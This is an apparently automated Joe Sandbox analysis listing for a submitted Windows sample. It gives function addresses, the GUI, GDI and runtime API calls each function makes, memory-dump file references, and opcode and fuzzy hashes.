Opcode Fuzzy Hash: 3ee5b264e38b3ff192662d686a090c290409bd91c861a4d39cef7a6272de39bf
Instruction Fuzzy Hash: B68168327042809BE719DF7AD5547EC73A0F788B88F454129EB0987B68DB35DA65CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400B06AC Relevance: 6.2, APIs: 4, Instructions: 178COMMON

Download Yara Rule

APIs

SetWindowPos.USER32 ref: 00000001400B07A3
SetWindowPos.USER32 ref: 00000001400B07EB
InvalidateRect.USER32 ref: 00000001400B07FA
UpdateWindow.USER32 ref: 00000001400B0803

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Window$InvalidateRectUpdate
String ID:
API String ID: 1651931182-0
Opcode ID: c243d935af2660b80f97fbcdb0790e411a4bd0143bdc1fb6e8ab40cc29db7fa7
Instruction ID: 8cdcc92cd21918040455a9667b905f13d05d5064944b200b2e47dcd7bc93d651
Opcode Fuzzy Hash: c243d935af2660b80f97fbcdb0790e411a4bd0143bdc1fb6e8ab40cc29db7fa7
Instruction Fuzzy Hash: 40619F72608A809BFB6ADFA795007E9B7A0F788BC4F044025EF4947BA1DF74D592CB40

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140082874 Relevance: 6.2, APIs: 4, Instructions: 175COMMON

Download Yara Rule

APIs

GetObjectW.GDI32 ref: 00000001400829D4
DeleteObject.GDI32 ref: 00000001400829E1

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Object$Delete
String ID:
API String ID: 774837909-0
Opcode ID: 296b89678d03188ea4e09d1adb7123b4468198a82ca25111ada9a1c14ef60224
Instruction ID: 94ca4c5b5786f92036efdb03593abfb50c36281383342a29c7c32150c3b15827
Opcode Fuzzy Hash: 296b89678d03188ea4e09d1adb7123b4468198a82ca25111ada9a1c14ef60224
Instruction Fuzzy Hash: A2717932600A40A6FB6BDB23E8547EA23A0FB4CBA4F440125FF5A576E1DB78CA55C341

Uniqueness

Uniqueness Score: -1.00%

Function 00000001401FE840 Relevance: 6.2, APIs: 4, Instructions: 158COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00000001401FE881
_invalid_parameter_noinfo.LIBCMT ref: 00000001401FE8FF
_invalid_parameter_noinfo.LIBCMT ref: 00000001401FE950
_get_daylight.LIBCMT ref: 00000001401FE9A9

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfo$_get_daylight
String ID:
API String ID: 72036449-0
Opcode ID: 6aa7ff4dec2bfdef2408aba458350025f3c0d66cc54d5fc57fc66fb2593048ec
Instruction ID: 6e9c5a72e3b5b32b9319e9fac3456f0ee59103d3679ef32331b89feb58a59482
Opcode Fuzzy Hash: 6aa7ff4dec2bfdef2408aba458350025f3c0d66cc54d5fc57fc66fb2593048ec
Instruction Fuzzy Hash: 0D51E03260020086FBB76E2BD4A53FE6AC0F328F58F59452DDB55972F6C2B8C840C762

Uniqueness

Uniqueness Score: -1.00%

Function 00000001401106C0 Relevance: 6.2, APIs: 4, Instructions: 153COMMON

Download Yara Rule

APIs

SetRectEmpty.USER32 ref: 000000014011073C
GetWindowRect.USER32 ref: 00000001401107B2
IsRectEmpty.USER32 ref: 00000001401107C1
OffsetRect.USER32 ref: 000000014011083B

Part of subcall function 0000000140035158: _CxxThrowException.LIBVCRUNTIME ref: 0000000140035174

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Rect$Empty$ExceptionOffsetThrowWindow
String ID:
API String ID: 4150091248-0
Opcode ID: 9af650d9dcb5484e337abaa068c6955f29ab7740ba01b20c08acbac8839a8ea0
Instruction ID: 8a1c26b77feed74558595aeb6a628559f467eba274a8a8af3e6091a0176e368b
Opcode Fuzzy Hash: 9af650d9dcb5484e337abaa068c6955f29ab7740ba01b20c08acbac8839a8ea0
Instruction Fuzzy Hash: 9F51BB32F146648AFB6ADB6AD5447ED33B1AB4CB88F044415DF492BAA4DBB4D441CB40

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140066538 Relevance: 6.1, APIs: 4, Instructions: 145windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32 ref: 00000001400665E0
SendMessageW.USER32 ref: 0000000140066621
GetCapture.USER32 ref: 0000000140066715
ReleaseCapture.USER32 ref: 0000000140066720

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: CaptureMessageSend$Release
String ID:
API String ID: 1381443029-0
Opcode ID: 130637b41f5ecdbba1b6c5a2155b10a88b27904b38b15ae13d075ed122d24f96
Instruction ID: a36688fbb70ee17e83d82ee300face91706eb40fd8209580243487520725c84d
Opcode Fuzzy Hash: 130637b41f5ecdbba1b6c5a2155b10a88b27904b38b15ae13d075ed122d24f96
Instruction Fuzzy Hash: F0516E36314A8082EA56EB67E9447AE27A1FB8CFC4F284422EF4D47B65CF79C851C704

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400DC520 Relevance: 6.1, APIs: 4, Instructions: 142COMMON

Download Yara Rule

APIs

OffsetRect.USER32 ref: 00000001400DC5A0

Part of subcall function 000000014004AEDC: SelectObject.GDI32 ref: 000000014004AF0C
Part of subcall function 000000014004AEDC: SelectObject.GDI32 ref: 000000014004AF27

Part of subcall function 000000014004A9F4: MoveToEx.GDI32 ref: 000000014004AA2D
Part of subcall function 000000014004A9F4: MoveToEx.GDI32 ref: 000000014004AA44

Part of subcall function 000000014004A9A4: MoveToEx.GDI32 ref: 000000014004A9CD

OffsetRect.USER32 ref: 00000001400DC5D9
GetObjectW.GDI32 ref: 00000001400DC611
GetObjectW.GDI32 ref: 00000001400DC640

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Object$Move$OffsetRectSelect
String ID:
API String ID: 3256611858-0
Opcode ID: 63fcf81fc162e47482e8aa95a1c6a35356178738299d7ee499c48580ff5682eb
Instruction ID: 994fe58c9d9472b1a24a10abcba1cbd84e65e2f2b2dae64c380bbeeb1d277c6e
Opcode Fuzzy Hash: 63fcf81fc162e47482e8aa95a1c6a35356178738299d7ee499c48580ff5682eb
Instruction Fuzzy Hash: CB517C72B206508AE711DFBAD841BDD77B1B78C798F048612EF4967AA8CB38D945CB40

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140166688 Relevance: 6.1, APIs: 4, Instructions: 142windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32 ref: 0000000140166798
SendMessageW.USER32 ref: 00000001401667B3
SendMessageW.USER32 ref: 0000000140166850
GetParent.USER32 ref: 0000000140166869

Part of subcall function 000000014003A624: EnableWindow.USER32 ref: 000000014003A645

Part of subcall function 000000014003AEC0: ShowWindow.USER32 ref: 000000014003AEE1

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: MessageSend$Window$EnableParentShow
String ID:
API String ID: 2218845466-0
Opcode ID: d592f1c88c8697309c3406359ac7f55d03cc8bd29840def5e1e1ec0ba4ba66e4
Instruction ID: 2671f4abab107e4af8f4094310b4ab6f4f843b5c13719ccaba15cb9bd3ef6a00
Opcode Fuzzy Hash: d592f1c88c8697309c3406359ac7f55d03cc8bd29840def5e1e1ec0ba4ba66e4
Instruction Fuzzy Hash: C5515E35300B8081EA26EB67ED553EE6351AB8DFD4F484526EF0E5BBA6DE38C5018740

Uniqueness

Uniqueness Score: -1.00%

Function 000000014017C090 Relevance: 6.1, APIs: 4, Instructions: 141COMMON

Download Yara Rule

APIs

FillRect.USER32 ref: 000000014017C0DD
InflateRect.USER32 ref: 000000014017C0EC
InflateRect.USER32 ref: 000000014017C18B
FillRect.USER32 ref: 000000014017C227

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Rect$FillInflate
String ID:
API String ID: 3595577067-0
Opcode ID: fb4dbf69e51abe2309d8b5d2a6c2cc96a80e073410e6116de427fbc6feeb9275
Instruction ID: 05bd00f36b66b679791e02fdad2a52eeace0706c788e3695dbc4b99402f621b4
Opcode Fuzzy Hash: fb4dbf69e51abe2309d8b5d2a6c2cc96a80e073410e6116de427fbc6feeb9275
Instruction Fuzzy Hash: D651AD36B10A9485EB12DBABE844BEC2770B78DF98F498226DF4957BA5DF38C441C344

Uniqueness

Uniqueness Score: -1.00%

Function 000000014007A890 Relevance: 6.1, APIs: 4, Instructions: 138windowCOMMON

Download Yara Rule

APIs

SetRectEmpty.USER32 ref: 000000014007A963
GetWindowRect.USER32 ref: 000000014007A972
SendMessageW.USER32 ref: 000000014007A9B2
SendMessageW.USER32 ref: 000000014007AA63

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: MessageRectSend$EmptyWindow
String ID:
API String ID: 1914275016-0
Opcode ID: 176ede9921599cf35cbb2112d4154dda553f79c8eae67f32a20a77a54d25ba44
Instruction ID: f73993f75fc4eb559c0014eecca52b2f708491646465de5a1cd0345535f0712b
Opcode Fuzzy Hash: 176ede9921599cf35cbb2112d4154dda553f79c8eae67f32a20a77a54d25ba44
Instruction Fuzzy Hash: 43514B36314A9582EE65DB67E854BEA27A0BB8DFD4F085022DF4A47BA1DF3CC541C704

Uniqueness

Uniqueness Score: -1.00%

Function 000000014016DFE4 Relevance: 6.1, APIs: 4, Instructions: 137windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0000000140035158: _CxxThrowException.LIBVCRUNTIME ref: 0000000140035174

MessageBeep.USER32 ref: 000000014016E10D
GetSubMenu.USER32 ref: 000000014016E141
SendMessageW.USER32 ref: 000000014016E185
InvalidateRect.USER32 ref: 000000014016E1DF

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Message$BeepExceptionInvalidateMenuRectSendThrow
String ID:
API String ID: 2854889734-0
Opcode ID: c0a64e3e9150b8457a842b3030b2ca6f7d84fd370d8a71af57c5640927c81ddf
Instruction ID: 9dcd9acc1ae9dfdcd94a1bd97702941cde240a26693b1a6cd7fa42df3741897b
Opcode Fuzzy Hash: c0a64e3e9150b8457a842b3030b2ca6f7d84fd370d8a71af57c5640927c81ddf
Instruction Fuzzy Hash: 81513A36310A8086EA159B67D9547ED2761F78EFD4F084626EF1E47BA5CE78C502C740

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140102278 Relevance: 6.1, APIs: 4, Instructions: 136windowCOMMON

Download Yara Rule

APIs

CreatePopupMenu.USER32 ref: 00000001401022CA
AppendMenuW.USER32 ref: 0000000140102356
CheckMenuItem.USER32 ref: 0000000140102369
IsWindow.USER32 ref: 00000001401023B6

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Menu$AppendCheckCreateItemPopupWindow
String ID:
API String ID: 2012662573-0
Opcode ID: dbfd0b51509c1cf65ac70757294c97ab39dd938935b445158a21446ff826ee22
Instruction ID: 6032ea44519de0f22549a69a883dff2b657a8a75667e630b7fbdfc451fe0c93a
Opcode Fuzzy Hash: dbfd0b51509c1cf65ac70757294c97ab39dd938935b445158a21446ff826ee22
Instruction Fuzzy Hash: D0516C75314A5082EA16DB67E84479A63A0BB8DFE0F144226EF9D87BF5DF39C842C740

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400AA1E8 Relevance: 6.1, APIs: 4, Instructions: 134COMMON

Download Yara Rule

APIs

Part of subcall function 000000014009B14C: GetSystemMenu.USER32 ref: 000000014009B201
Part of subcall function 000000014009B14C: DeleteMenu.USER32 ref: 000000014009B223
Part of subcall function 000000014009B14C: DeleteMenu.USER32 ref: 000000014009B235
Part of subcall function 000000014009B14C: DeleteMenu.USER32 ref: 000000014009B247
Part of subcall function 000000014009B14C: EnableMenuItem.USER32 ref: 000000014009B275

LoadImageW.USER32 ref: 00000001400AA942
GetObjectW.GDI32 ref: 00000001400AA95D
InvalidateRect.USER32 ref: 00000001400AA9D7
UpdateWindow.USER32 ref: 00000001400AA9E1

Part of subcall function 00000001400AA828: KillTimer.USER32 ref: 00000001400AA8C6

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Menu$Delete$EnableImageInvalidateItemKillLoadObjectRectSystemTimerUpdateWindow
String ID:
API String ID: 4017357474-0
Opcode ID: 0a9a3eff43ca2f516c5a2e396a629264a65d0d39f2fdcd8e8777b9c66744e936
Instruction ID: 8574dd7e7bf90e3101531c7fc6fdbcfd1cdab8208aec4f1728dd91bb0e429bbc
Opcode Fuzzy Hash: 0a9a3eff43ca2f516c5a2e396a629264a65d0d39f2fdcd8e8777b9c66744e936
Instruction Fuzzy Hash: A951AC32A0468086FB56DF26E4583EA77A1F79DB95F084229FB09076E5CB3CC891CB00

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140088094 Relevance: 6.1, APIs: 4, Instructions: 130COMMON

Download Yara Rule

APIs

GetTextColor.GDI32 ref: 00000001400880B9
OffsetRect.USER32 ref: 000000014008812A

Part of subcall function 0000000140075108: VerSetConditionMask.KERNEL32 ref: 0000000140075163
Part of subcall function 0000000140075108: VerSetConditionMask.KERNEL32 ref: 0000000140075174
Part of subcall function 0000000140075108: VerifyVersionInfoW.KERNEL32 ref: 0000000140075187
Part of subcall function 0000000140075108: GetSystemMetrics.USER32 ref: 0000000140075198

FillRect.USER32 ref: 00000001400881A9
OffsetRect.USER32 ref: 00000001400881EB

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Rect$ConditionMaskOffset$ColorFillInfoMetricsSystemTextVerifyVersion
String ID:
API String ID: 1863428763-0
Opcode ID: 3f52b638578673f4b041bb64a9908f3f6d48c1bc98e78f150d5b645b395d3fee
Instruction ID: a13038c68f2359fd536c6039486fbefe888e1fd867519d41b8f7b42e6167958d
Opcode Fuzzy Hash: 3f52b638578673f4b041bb64a9908f3f6d48c1bc98e78f150d5b645b395d3fee
Instruction Fuzzy Hash: 9551A335A54A408AFA229F43A818BD97765B79DBE5F40012AEF0917BF0DF7CC941CB44

Uniqueness

Uniqueness Score: -1.00%

Function 000000014000C5C0 Relevance: 6.1, APIs: 4, Instructions: 130COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 000000014000C71A
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 000000014000C720
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 000000014000C726
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 000000014000C72C

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Concurrency::cancel_current_task
String ID:
API String ID: 3936042273-0
Opcode ID: 0c452a45520bb3bb1e55c69d1a415456e02cfee26cd9e8a547460aadb415ff02
Instruction ID: 2c5424fd93f27173ea38a3c50e26712a84f10bbaa6757268fc945ad814a886ef
Opcode Fuzzy Hash: 0c452a45520bb3bb1e55c69d1a415456e02cfee26cd9e8a547460aadb415ff02
Instruction Fuzzy Hash: 2F41B072326B8485FE2AEB67B4147ED2291A708FE0F640521AF6D077E6DB78C4928304

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140074230 Relevance: 6.1, APIs: 4, Instructions: 124windowCOMMON

Download Yara Rule

APIs

SrcHashImpl::SrcHashImpl.MSPDB140-MSVCRT ref: 0000000140074279
GetClientRect.USER32 ref: 00000001400742A7

Part of subcall function 0000000140075108: VerSetConditionMask.KERNEL32 ref: 0000000140075163
Part of subcall function 0000000140075108: VerSetConditionMask.KERNEL32 ref: 0000000140075174
Part of subcall function 0000000140075108: VerifyVersionInfoW.KERNEL32 ref: 0000000140075187
Part of subcall function 0000000140075108: GetSystemMetrics.USER32 ref: 0000000140075198

CreateCompatibleDC.GDI32 ref: 0000000140074382
CreateCompatibleBitmap.GDI32 ref: 00000001400743AE

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

